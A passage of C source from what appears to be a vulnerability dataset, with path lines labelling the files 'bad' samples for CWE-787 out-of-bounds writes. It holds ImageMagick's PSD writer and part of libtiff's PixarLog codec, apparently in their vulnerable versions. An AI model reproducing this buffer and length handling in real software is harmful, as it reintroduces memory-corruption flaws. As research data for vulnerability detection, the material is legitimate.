SetStringInfoLength(bim_profile,length-(PSDQuantum(count)+12)); break; } p+=count; if ((count & 0x01) != 0) p++; } } static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; ssize_t cnt; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) return; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); cnt=PSDQuantum(count); if (cnt < 0) return; if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12))) { (void) CopyMagickMemory(q,q+cnt+12,length-(cnt+12)-(q-datum)); SetStringInfoLength(bim_profile,length-(cnt+12)); break; } p+=count; if ((count & 0x01) != 0) p++; } } static MagickBooleanType WritePSDImage(const ImageInfo *image_info, Image *image) { const char *property; const StringInfo *icc_profile; Image *base_image, *next_image; MagickBooleanType status; PSDInfo psd_info; register ssize_t i; size_t channel_size, channelLength, layer_count, layer_info_size, length, num_channels, packet_size, rounded_layer_info_size; StringInfo *bim_profile; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception); if (status == MagickFalse) return(status); packet_size=(size_t) (image->depth > 8 ? 6 : 3); if (image->matte != MagickFalse) packet_size+=image->depth > 8 ? 2 : 1; psd_info.version=1; if ((LocaleCompare(image_info->magick,"PSB") == 0) || (image->columns > 30000) || (image->rows > 30000)) psd_info.version=2; (void) WriteBlob(image,4,(const unsigned char *) "8BPS"); (void) WriteBlobMSBShort(image,psd_info.version); /* version */ for (i=1; i <= 6; i++) (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */ if (SetImageGray(image,&image->exception) != MagickFalse) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else if ((image_info->type != TrueColorType) && (image_info->type != TrueColorMatteType) && (image->storage_class == PseudoClass)) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else { if (image->storage_class == PseudoClass) (void) SetImageStorageClass(image,DirectClass); if (image->colorspace != CMYKColorspace) num_channels=(image->matte != MagickFalse ? 4UL : 3UL); else num_channels=(image->matte != MagickFalse ? 5UL : 4UL); } (void) WriteBlobMSBShort(image,(unsigned short) num_channels); (void) WriteBlobMSBLong(image,(unsigned int) image->rows); (void) WriteBlobMSBLong(image,(unsigned int) image->columns); if (IsGrayImage(image,&image->exception) != MagickFalse) { MagickBooleanType monochrome; /* Write depth & mode. */ monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8)); (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? BitmapMode : GrayscaleMode)); } else { (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? 8 : image->depth > 8 ? 16 : 8)); if (((image_info->colorspace != UndefinedColorspace) || (image->colorspace != CMYKColorspace)) && (image_info->colorspace != CMYKColorspace)) { (void) TransformImageColorspace(image,sRGBColorspace); (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? IndexedMode : RGBMode)); } else { if (image->colorspace != CMYKColorspace) (void) TransformImageColorspace(image,CMYKColorspace); (void) WriteBlobMSBShort(image,CMYKMode); } } if ((IsGrayImage(image,&image->exception) != MagickFalse) || (image->storage_class == DirectClass) || (image->colors > 256)) (void) WriteBlobMSBLong(image,0); else { /* Write PSD raster colormap. */ (void) WriteBlobMSBLong(image,768); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].red)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar( image->colormap[i].green)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].blue)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); } /* Image resource block. */ length=28; /* 0x03EB */ bim_profile=(StringInfo *) GetImageProfile(image,"8bim"); icc_profile=GetImageProfile(image,"icc"); if (bim_profile != (StringInfo *) NULL) { bim_profile=CloneStringInfo(bim_profile); if (icc_profile != (StringInfo *) NULL) RemoveICCProfileFromResourceBlock(bim_profile); RemoveResolutionFromResourceBlock(bim_profile); length+=PSDQuantum(GetStringInfoLength(bim_profile)); } if (icc_profile != (const StringInfo *) NULL) length+=PSDQuantum(GetStringInfoLength(icc_profile))+12; (void) WriteBlobMSBLong(image,(unsigned int) length); WriteResolutionResourceBlock(image); if (bim_profile != (StringInfo *) NULL) { (void) WriteBlob(image,GetStringInfoLength(bim_profile), GetStringInfoDatum(bim_profile)); bim_profile=DestroyStringInfo(bim_profile); } if (icc_profile != (StringInfo *) NULL) { (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x0000040F); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength( icc_profile)); (void) WriteBlob(image,GetStringInfoLength(icc_profile), GetStringInfoDatum(icc_profile)); if ((MagickOffsetType) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile))) (void) WriteBlobByte(image,0); } layer_count=0; layer_info_size=2; base_image=GetNextImageInList(image); if (base_image == (Image *) NULL) base_image=image; next_image=base_image; while (next_image != (Image *) NULL) { packet_size=next_image->depth > 8 ? 2UL : 1UL; if (IsGrayImage(next_image,&image->exception) != MagickFalse) num_channels=next_image->matte != MagickFalse ? 2UL : 1UL; else if (next_image->storage_class == PseudoClass) num_channels=next_image->matte != MagickFalse ? 2UL : 1UL; else if (next_image->colorspace != CMYKColorspace) num_channels=next_image->matte != MagickFalse ? 4UL : 3UL; else num_channels=next_image->matte != MagickFalse ? 5UL : 4UL; channelLength=(size_t) (next_image->columns*next_image->rows*packet_size+2); layer_info_size+=(size_t) (4*4+2+num_channels*6+(psd_info.version == 1 ? 8 : 16)+4*1+4+num_channels*channelLength); property=(const char *) GetImageProperty(next_image,"label"); if (property == (const char *) NULL) layer_info_size+=16; else { size_t length; length=strlen(property); layer_info_size+=8+length+(4-(length % 4)); } layer_count++; next_image=GetNextImageInList(next_image); } if (layer_count == 0) (void) SetPSDSize(&psd_info,image,0); else { CompressionType compression; (void) SetPSDSize(&psd_info,image,layer_info_size+ (psd_info.version == 1 ? 8 : 16)); if ((layer_info_size/2) != ((layer_info_size+1)/2)) rounded_layer_info_size=layer_info_size+1; else rounded_layer_info_size=layer_info_size; (void) SetPSDSize(&psd_info,image,rounded_layer_info_size); if (image->matte != MagickFalse) (void) WriteBlobMSBShort(image,-(unsigned short) layer_count); else (void) WriteBlobMSBShort(image,(unsigned short) layer_count); layer_count=1; compression=base_image->compression; for (next_image=base_image; next_image != NULL; ) { next_image->compression=NoCompression; (void) WriteBlobMSBLong(image,(unsigned int) next_image->page.y); (void) WriteBlobMSBLong(image,(unsigned int) next_image->page.x); (void) WriteBlobMSBLong(image,(unsigned int) (next_image->page.y+ next_image->rows)); (void) WriteBlobMSBLong(image,(unsigned int) (next_image->page.x+ next_image->columns)); packet_size=next_image->depth > 8 ? 2UL : 1UL; channel_size=(unsigned int) ((packet_size*next_image->rows* next_image->columns)+2); if ((IsGrayImage(next_image,&image->exception) != MagickFalse) || (next_image->storage_class == PseudoClass)) { (void) WriteBlobMSBShort(image,(unsigned short) (next_image->matte != MagickFalse ? 2 : 1)); (void) WriteBlobMSBShort(image,0); (void) SetPSDSize(&psd_info,image,channel_size); if (next_image->matte != MagickFalse) { (void) WriteBlobMSBShort(image,(unsigned short) -1); (void) SetPSDSize(&psd_info,image,channel_size); } } else if (next_image->colorspace != CMYKColorspace) { (void) WriteBlobMSBShort(image,(unsigned short) (next_image->matte != MagickFalse ? 4 : 3)); (void) WriteBlobMSBShort(image,0); (void) SetPSDSize(&psd_info,image,channel_size); (void) WriteBlobMSBShort(image,1); (void) SetPSDSize(&psd_info,image,channel_size); (void) WriteBlobMSBShort(image,2); (void) SetPSDSize(&psd_info,image,channel_size); if (next_image->matte!= MagickFalse ) { (void) WriteBlobMSBShort(image,(unsigned short) -1); (void) SetPSDSize(&psd_info,image,channel_size); } } else { (void) WriteBlobMSBShort(image,(unsigned short) (next_image->matte ? 5 : 4)); (void) WriteBlobMSBShort(image,0); (void) SetPSDSize(&psd_info,image,channel_size); (void) WriteBlobMSBShort(image,1); (void) SetPSDSize(&psd_info,image,channel_size); (void) WriteBlobMSBShort(image,2); (void) SetPSDSize(&psd_info,image,channel_size); (void) WriteBlobMSBShort(image,3); (void) SetPSDSize(&psd_info,image,channel_size); if (next_image->matte) { (void) WriteBlobMSBShort(image,(unsigned short) -1); (void) SetPSDSize(&psd_info,image,channel_size); } } (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlob(image,4,(const unsigned char *) CompositeOperatorToPSDBlendMode(next_image->compose)); (void) WriteBlobByte(image,255); /* layer opacity */ (void) WriteBlobByte(image,0); (void) WriteBlobByte(image,next_image->compose==NoCompositeOp ? 1 << 0x02 : 1); /* layer properties - visible, etc. */ (void) WriteBlobByte(image,0); property=(const char *) GetImageProperty(next_image,"label"); if (property == (const char *) NULL) { char layer_name[MaxTextExtent]; (void) WriteBlobMSBLong(image,16); (void) WriteBlobMSBLong(image,0); (void) WriteBlobMSBLong(image,0); (void) FormatLocaleString(layer_name,MaxTextExtent,"L%04ld",(long) layer_count++); WritePascalString(image,layer_name,4); } else { size_t length; length=strlen(property); (void) WriteBlobMSBLong(image,(unsigned int) (length+(4- (length % 4))+8)); (void) WriteBlobMSBLong(image,0); (void) WriteBlobMSBLong(image,0); WritePascalString(image,property,4); } next_image=GetNextImageInList(next_image); } /* Now the image data! */ next_image=base_image; while (next_image != NULL) { status=WriteImageChannels(&psd_info,image_info,image,next_image, MagickTrue); next_image=GetNextImageInList(next_image); } (void) WriteBlobMSBLong(image,0); /* user mask data */ base_image->compression=compression; } /* Write composite image. */ if (status != MagickFalse) status=WriteImageChannels(&psd_info,image_info,image,image,MagickFalse); (void) CloseBlob(image); return(status); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5317_0
crossvul-cpp_data_bad_5474_1
/* $Id$ */ /* * Copyright (c) 1996-1997 Sam Leffler * Copyright (c) 1996 Pixar * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Pixar, Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Pixar, Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL PIXAR, SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tiffiop.h" #ifdef PIXARLOG_SUPPORT /* * TIFF Library. * PixarLog Compression Support * * Contributed by Dan McCoy. * * PixarLog film support uses the TIFF library to store companded * 11 bit values into a tiff file, which are compressed using the * zip compressor. * * The codec can take as input and produce as output 32-bit IEEE float values * as well as 16-bit or 8-bit unsigned integer values. * * On writing any of the above are converted into the internal * 11-bit log format. In the case of 8 and 16 bit values, the * input is assumed to be unsigned linear color values that represent * the range 0-1. In the case of IEEE values, the 0-1 range is assumed to * be the normal linear color range, in addition over 1 values are * accepted up to a value of about 25.0 to encode "hot" highlights and such. * The encoding is lossless for 8-bit values, slightly lossy for the * other bit depths. The actual color precision should be better * than the human eye can perceive with extra room to allow for * error introduced by further image computation. As with any quantized * color format, it is possible to perform image calculations which * expose the quantization error. This format should certainly be less * susceptible to such errors than standard 8-bit encodings, but more * susceptible than straight 16-bit or 32-bit encodings. * * On reading the internal format is converted to the desired output format. * The program can request which format it desires by setting the internal * pseudo tag TIFFTAG_PIXARLOGDATAFMT to one of these possible values: * PIXARLOGDATAFMT_FLOAT = provide IEEE float values. * PIXARLOGDATAFMT_16BIT = provide unsigned 16-bit integer values * PIXARLOGDATAFMT_8BIT = provide unsigned 8-bit integer values * * alternately PIXARLOGDATAFMT_8BITABGR provides unsigned 8-bit integer * values with the difference that if there are exactly three or four channels * (rgb or rgba) it swaps the channel order (bgr or abgr). * * PIXARLOGDATAFMT_11BITLOG provides the internal encoding directly * packed in 16-bit values. However no tools are supplied for interpreting * these values. * * "hot" (over 1.0) areas written in floating point get clamped to * 1.0 in the integer data types. * * When the file is closed after writing, the bit depth and sample format * are set always to appear as if 8-bit data has been written into it. * That way a naive program unaware of the particulars of the encoding * gets the format it is most likely able to handle. * * The codec does it's own horizontal differencing step on the coded * values so the libraries predictor stuff should be turned off. * The codec also handle byte swapping the encoded values as necessary * since the library does not have the information necessary * to know the bit depth of the raw unencoded buffer. * * NOTE: This decoder does not appear to update tif_rawcp, and tif_rawcc. * This can cause problems with the implementation of CHUNKY_STRIP_READ_SUPPORT * as noted in http://trac.osgeo.org/gdal/ticket/3894. FrankW - Jan'11 */ #include "tif_predict.h" #include "zlib.h" #include <stdio.h> #include <stdlib.h> #include <math.h> /* Tables for converting to/from 11 bit coded values */ #define TSIZE 2048 /* decode table size (11-bit tokens) */ #define TSIZEP1 2049 /* Plus one for slop */ #define ONE 1250 /* token value of 1.0 exactly */ #define RATIO 1.004 /* nominal ratio for log part */ #define CODE_MASK 0x7ff /* 11 bits. */ static float Fltsize; static float LogK1, LogK2; #define REPEAT(n, op) { int i; i=n; do { i--; op; } while (i>0); } static void horizontalAccumulateF(uint16 *wp, int n, int stride, float *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; t3 = ToLinearF[ca = (wp[3] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; t3 = ToLinearF[(ca += wp[3]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate12(uint16 *wp, int n, int stride, int16 *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; #define SCALE12 2048.0F #define CLAMP12(t) (((t) < 3071) ? (uint16) (t) : 3071) if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; t3 = ToLinearF[ca = (wp[3] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; t3 = ToLinearF[(ca += wp[3]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); } } else { REPEAT(stride, t0 = ToLinearF[*wp&mask] * SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; t0 = ToLinearF[wp[stride]&mask]*SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; } } } } static void horizontalAccumulate16(uint16 *wp, int n, int stride, uint16 *op, uint16 *ToLinear16) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; op[3] = ToLinear16[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; op[3] = ToLinear16[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; } } } } /* * Returns the log encoded 11-bit values with the horizontal * differencing undone. */ static void horizontalAccumulate11(uint16 *wp, int n, int stride, uint16 *op) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; cr = wp[0]; cg = wp[1]; cb = wp[2]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); } } else if (stride == 4) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; op[3] = wp[3]; cr = wp[0]; cg = wp[1]; cb = wp[2]; ca = wp[3]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); op[3] = (uint16)((ca += wp[3]) & mask); } } else { REPEAT(stride, *op = *wp&mask; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = *wp&mask; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 3; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; op[3] = ToLinear8[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; op[3] = ToLinear8[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8abgr(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; register unsigned char t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = 0; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[1] = t1; op[2] = t2; op[3] = t3; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 4; op[0] = 0; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[1] = t1; op[2] = t2; op[3] = t3; } } else if (stride == 4) { t0 = ToLinear8[ca = (wp[3] & mask)]; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; t0 = ToLinear8[(ca += wp[3]) & mask]; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } /* * State block for each open TIFF * file using PixarLog compression/decompression. */ typedef struct { TIFFPredictorState predict; z_stream stream; tmsize_t tbuf_size; /* only set/used on reading for now */ uint16 *tbuf; uint16 stride; int state; int user_datafmt; int quality; #define PLSTATE_INIT 1 TIFFVSetMethod vgetparent; /* super-class method */ TIFFVSetMethod vsetparent; /* super-class method */ float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; } PixarLogState; static int PixarLogMakeTables(PixarLogState *sp) { /* * We make several tables here to convert between various external * representations (float, 16-bit, and 8-bit) and the internal * 11-bit companded representation. The 11-bit representation has two * distinct regions. A linear bottom end up through .018316 in steps * of about .000073, and a region of constant ratio up to about 25. * These floating point numbers are stored in the main table ToLinearF. * All other tables are derived from this one. The tables (and the * ratios) are continuous at the internal seam. */ int nlin, lt2size; int i, j; double b, c, linstep, v; float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; c = log(RATIO); nlin = (int)(1./c); /* nlin must be an integer */ c = 1./nlin; b = exp(-c*ONE); /* multiplicative scale factor [b*exp(c*ONE) = 1] */ linstep = b*c*exp(1.); LogK1 = (float)(1./c); /* if (v >= 2) token = k1*log(v*k2) */ LogK2 = (float)(1./b); lt2size = (int)(2./linstep) + 1; FromLT2 = (uint16 *)_TIFFmalloc(lt2size*sizeof(uint16)); From14 = (uint16 *)_TIFFmalloc(16384*sizeof(uint16)); From8 = (uint16 *)_TIFFmalloc(256*sizeof(uint16)); ToLinearF = (float *)_TIFFmalloc(TSIZEP1 * sizeof(float)); ToLinear16 = (uint16 *)_TIFFmalloc(TSIZEP1 * sizeof(uint16)); ToLinear8 = (unsigned char *)_TIFFmalloc(TSIZEP1 * sizeof(unsigned char)); if (FromLT2 == NULL || From14 == NULL || From8 == NULL || ToLinearF == NULL || ToLinear16 == NULL || ToLinear8 == NULL) { if (FromLT2) _TIFFfree(FromLT2); if (From14) _TIFFfree(From14); if (From8) _TIFFfree(From8); if (ToLinearF) _TIFFfree(ToLinearF); if (ToLinear16) _TIFFfree(ToLinear16); if (ToLinear8) _TIFFfree(ToLinear8); sp->FromLT2 = NULL; sp->From14 = NULL; sp->From8 = NULL; sp->ToLinearF = NULL; sp->ToLinear16 = NULL; sp->ToLinear8 = NULL; return 0; } j = 0; for (i = 0; i < nlin; i++) { v = i * linstep; ToLinearF[j++] = (float)v; } for (i = nlin; i < TSIZE; i++) ToLinearF[j++] = (float)(b*exp(c*i)); ToLinearF[2048] = ToLinearF[2047]; for (i = 0; i < TSIZEP1; i++) { v = ToLinearF[i]*65535.0 + 0.5; ToLinear16[i] = (v > 65535.0) ? 65535 : (uint16)v; v = ToLinearF[i]*255.0 + 0.5; ToLinear8[i] = (v > 255.0) ? 255 : (unsigned char)v; } j = 0; for (i = 0; i < lt2size; i++) { if ((i*linstep)*(i*linstep) > ToLinearF[j]*ToLinearF[j+1]) j++; FromLT2[i] = (uint16)j; } /* * Since we lose info anyway on 16-bit data, we set up a 14-bit * table and shift 16-bit values down two bits on input. * saves a little table space. */ j = 0; for (i = 0; i < 16384; i++) { while ((i/16383.)*(i/16383.) > ToLinearF[j]*ToLinearF[j+1]) j++; From14[i] = (uint16)j; } j = 0; for (i = 0; i < 256; i++) { while ((i/255.)*(i/255.) > ToLinearF[j]*ToLinearF[j+1]) j++; From8[i] = (uint16)j; } Fltsize = (float)(lt2size/2); sp->ToLinearF = ToLinearF; sp->ToLinear16 = ToLinear16; sp->ToLinear8 = ToLinear8; sp->FromLT2 = FromLT2; sp->From14 = From14; sp->From8 = From8; return 1; } #define DecoderState(tif) ((PixarLogState*) (tif)->tif_data) #define EncoderState(tif) ((PixarLogState*) (tif)->tif_data) static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s); static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s); #define PIXARLOGDATAFMT_UNKNOWN -1 static int PixarLogGuessDataFmt(TIFFDirectory *td) { int guess = PIXARLOGDATAFMT_UNKNOWN; int format = td->td_sampleformat; /* If the user didn't tell us his datafmt, * take our best guess from the bitspersample. */ switch (td->td_bitspersample) { case 32: if (format == SAMPLEFORMAT_IEEEFP) guess = PIXARLOGDATAFMT_FLOAT; break; case 16: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_16BIT; break; case 12: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_INT) guess = PIXARLOGDATAFMT_12BITPICIO; break; case 11: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_11BITLOG; break; case 8: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_8BIT; break; } return guess; } static tmsize_t multiply_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 * m2; if (m1 && bytes / m1 != m2) bytes = 0; return bytes; } static tmsize_t add_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 + m2; /* if either input is zero, assume overflow already occurred */ if (m1 == 0 || m2 == 0) bytes = 0; else if (bytes <= m1 || bytes <= m2) bytes = 0; return bytes; } static int PixarLogFixupTags(TIFF* tif) { (void) tif; return (1); } static int PixarLogSetupDecode(TIFF* tif) { static const char module[] = "PixarLogSetupDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* Make sure no byte swapping happens on the data * after decompression. */ tif->tif_postdecode = _TIFFNoPostDecode; /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); /* add one more stride in case input ends mid-stride */ tbuf_size = add_ms(tbuf_size, sizeof(uint16) * sp->stride); if 